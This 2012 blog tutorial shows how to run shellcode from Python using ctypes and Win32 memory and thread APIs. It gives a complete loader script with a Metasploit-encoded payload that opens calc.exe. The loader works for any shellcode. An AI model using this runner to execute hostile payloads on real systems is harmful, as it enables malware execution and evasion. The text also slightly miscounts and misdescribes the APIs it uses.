Monday, April 30, 2012

Execute ShellCode Using Python

After writing shell code generally we use a C code like this to test our shell code.
char code[] = "shell code";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

In this article I am going to show you, how can we use python and its "ctypes" library to execute a "calc.exe" shell code or any other shell code.ctypes is a foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python.

I will be using six Win32 APIs to execute the shell code. These Win32 apis are very important in dynamic memory management on windows platform. Here ctype will help us to directly interact with these required APIs.

The concept is like :

1)  First VirtualAlloc() will allow us to create a new executable memory region and copy our shellcode to it, and after that execute it.
2)  VirtualLock() locks the specified region of the process's virtual address space into physical memory, ensuring that subsequent access to the region will not incur a page fault.
It accepts a pointer to the base address of the region of pages to be locked and the size of the region to be locked, in bytes.
A simple example of this function can be found here in MSDN:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa366549(v=vs.85).aspx

3)  RtlMoveMemory() function accepts 3 arguments , a pointer to the destination (returned form virtualAlloc()), Pointer to the memory to be copied and the number of bytes to be copied.

4)  CreateThread() accepts 6 arguments
In our case the third argument is very important.We need to pass a pointer to the application-defined function to be executed by the thread returned by VirtualAlloc().If the function succeeds, the return value is a handle to the new thread.

5)  WaitForSingleObject() function accepts 2 arguments 1st one is the handle to the object (Returned by CreateThread()) and the time-out interval, in milliseconds. If a nonzero value is specified, the function waits until the object is signaled or the interval elapses.


API Description (Source : MSDN)

VirtualAlloc function:
It reserves or commits a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero, unless MEM_RESET isspecified.

Syntax:
LPVOID WINAPI VirtualAlloc(
  __in_opt  LPVOID lpAddress,
  __in      SIZE_T dwSize,
  __in      DWORD flAllocationType,
  __in      DWORD flProtect
);

VirtualLock function:
It locks the specified region of the process's virtual address space into physical memory, ensuring that subsequent access to the region will not incur a page fault.

Syntax:
BOOL WINAPI VirtualLock(
  __in  LPVOID lpAddress,
  __in  SIZE_T dwSize
);

RtlMoveMemory routine:
The RtlMoveMemory routine moves memory either forward or backward, aligned or unaligned, in 4-byte blocks, followed by any remaining bytes.

Syntax:
VOID RtlMoveMemory(
  __in  VOID UNALIGNED *Destination,
  __in  const VOID UNALIGNED *Source,
  __in  SIZE_T Length
);

CreateThread function:
Creates a thread to execute within the virtual address space of the calling process.

Syntax:
HANDLE WINAPI CreateThread(
  __in_opt   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in       SIZE_T dwStackSize,
  __in       LPTHREAD_START_ROUTINE lpStartAddress,
  __in_opt   LPVOID lpParameter,
  __in       DWORD dwCreationFlags,
  __out_opt  LPDWORD lpThreadId
);

WaitForSingleObject function:
Waits until the specified object is in the signaled state or the time-out interval elapses.

Syntax:
DWORD WINAPI WaitForSingleObject(
  __in  HANDLE hHandle,
  __in  DWORD dwMilliseconds
);

The python code goes here.

#!/usr/bin/python
import ctypes
#ShellCode
#x86/shikata_ga_nai succeeded with size 227 (iteration=1)
#Metasploit windows/exec calc.exe
shellcode = bytearray(
"\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9" 
"\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3" 
"\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5" 
"\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71" 
"\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0" 
"\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16" 
"\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd" 
"\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a" 
"\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93" 
"\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20" 
"\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc" 
"\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc" 
"\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda" 
"\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e" 
"\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92" 
"\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2" 
"\x5e\xa4\xb4")
 
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
 
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))